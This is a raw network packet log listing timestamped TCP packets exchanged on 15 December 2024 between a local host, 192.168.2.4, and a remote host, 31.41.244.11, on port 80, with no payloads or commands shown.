Dec 15, 2024 11:59:12.117953062 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.117959976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.118017912 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.118964911 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.119012117 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.119060993 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.119103909 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.120026112 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.120068073 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.120079041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.125583887 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.240080118 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.240194082 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.240206957 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.240245104 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.240546942 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.240593910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.240667105 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.240794897 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.241646051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.241689920 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.241698027 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.241735935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.242645025 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.242687941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.243005991 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.243048906 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.243114948 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.243156910 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.244153976 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.244198084 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.244369030 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.244411945 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.245304108 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.245347023 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.245357037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.245397091 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.246211052 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.246246099 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.246257067 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.246439934 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.247200012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.247243881 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.247292042 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.247334957 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.248334885 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.248368979 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.248378992 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.248409033 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.249283075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.249330044 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.249362946 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.249406099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.250344992 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.250389099 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.250468016 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.250511885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.251401901 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.251446009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.251511097 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.251552105 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.252432108 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.252479076 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.252545118 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.252588987 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.253478050 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.253523111 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.253599882 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.253643036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.254532099 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.254576921 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.254744053 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.254785061 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.255594969 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.255642891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.255707979 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.255829096 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.256628990 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.256674051 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.256684065 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.256728888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.257678986 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.257721901 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.257786989 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.257831097 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.258739948 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.258783102 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.258846998 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.258889914 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.259802103 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.259845018 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.259854078 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.259979010 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.260839939 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.260884047 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.260934114 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.260977030 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.261897087 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.261939049 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.262017965 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.262070894 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.262943983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.262986898 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.263052940 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.263094902 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.263977051 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.264022112 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.264098883 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.264142036 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.265078068 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.265120983 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.265161037 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.265202999 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.266100883 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.266144991 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.266155005 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.266196966 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.267182112 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.267226934 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.267330885 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.267379045 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.268199921 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.268241882 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.268311024 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.268354893 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.269256115 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.269298077 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.269362926 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.269407034 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.270431995 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.270476103 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.270484924 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.270524979 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.271372080 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.271419048 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.271614075 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.271657944 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.272450924 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.272507906 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.272572041 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.272614956 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.273504019 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.273546934 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.273705959 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.273750067 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.274534941 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.274591923 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.274657011 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.274701118 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.275562048 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.275604010 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.275667906 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.275712013 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.276648045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.276690960 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.276746035 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.276787996 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.277671099 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.277715921 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.277795076 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.277837038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.278701067 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.278736115 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.278744936 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.278774977 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.279772043 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.279815912 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.279881001 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.279922009 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.280917883 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.280958891 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.280997038 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.281069994 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.281899929 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.281944990 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.282027006 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.282068968 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.282911062 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.282953978 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.283056021 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.283097029 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.283978939 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.284034014 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.284099102 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.284140110 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.303373098 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.303519011 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.303575993 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.303759098 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.303889036 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.303935051 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.304858923 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.304903030 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.304968119 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.305008888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.305862904 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.305906057 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.305990934 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.306035995 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.306927919 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.306972980 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.307038069 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.307079077 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.307996035 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.308037043 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.308120012 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.308160067 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.309036016 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.309077024 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.309200048 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.309242964 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.310107946 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.310149908 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.310214996 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.310256958 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.311129093 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.311171055 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.311224937 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.311266899 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.312212944 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.312254906 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.312308073 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.312347889 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.432353020 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.432416916 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.432518959 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.432559013 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.432854891 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.432898998 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.432929039 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.432965040 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.433953047 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.433990002 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.434026957 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.434062004 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.434950113 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.434986115 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.435298920 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.435338974 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.435482979 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.435518980 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.436356068 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.436392069 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.436475039 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.436510086 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.437407970 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.437449932 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.437485933 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.437521935 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.438460112 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.438497066 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.438515902 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.438684940 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.439502954 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.439538956 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.439619064 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.439654112 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.440541983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.440578938 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.440706015 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.440742016 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.441651106 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.441684961 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.441764116 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.441800117 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.442679882 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.442734957 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.442765951 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.442859888 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.443702936 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.443747997 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.443783045 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.443820000 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.444736958 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.444772959 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.444803953 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.444839954 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.445825100 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.445863962 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.445945978 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.445981979 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.446888924 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.446926117 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.446996927 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.447031975 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.447906971 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.447947979 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.448012114 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.448048115 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.448935032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.448973894 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.449055910 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.449090004 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.450011015 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.450047970 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.450129032 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.450164080 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.451200008 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.451235056 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.451447010 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.451482058 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.452192068 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.452227116 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.452251911 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.452286959 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.453216076 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.453258038 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.453392982 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.453433037 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.454194069 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.454230070 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.454649925 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.454685926 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.455260038 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.455296993 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.455368042 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.455404043 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.456331015 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.456367016 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.456443071 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.456478119 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.457360983 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.457396984 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.457472086 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.457505941 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.458486080 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.458527088 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.458534956 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.458587885 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.459476948 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.459527016 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.459605932 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.459651947 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.460530043 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.460572958 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.460649967 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.460692883 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.461572886 CET	80	49760	31.41.244.11	192.168.2.4
Dec 15, 2024 11:59:12.461616039 CET	49760	80	192.168.2.4	31.41.244.11
Dec 15, 2024 11:59:12.461695910 CET	80	49760	31.41.244.11	192.168.2.4
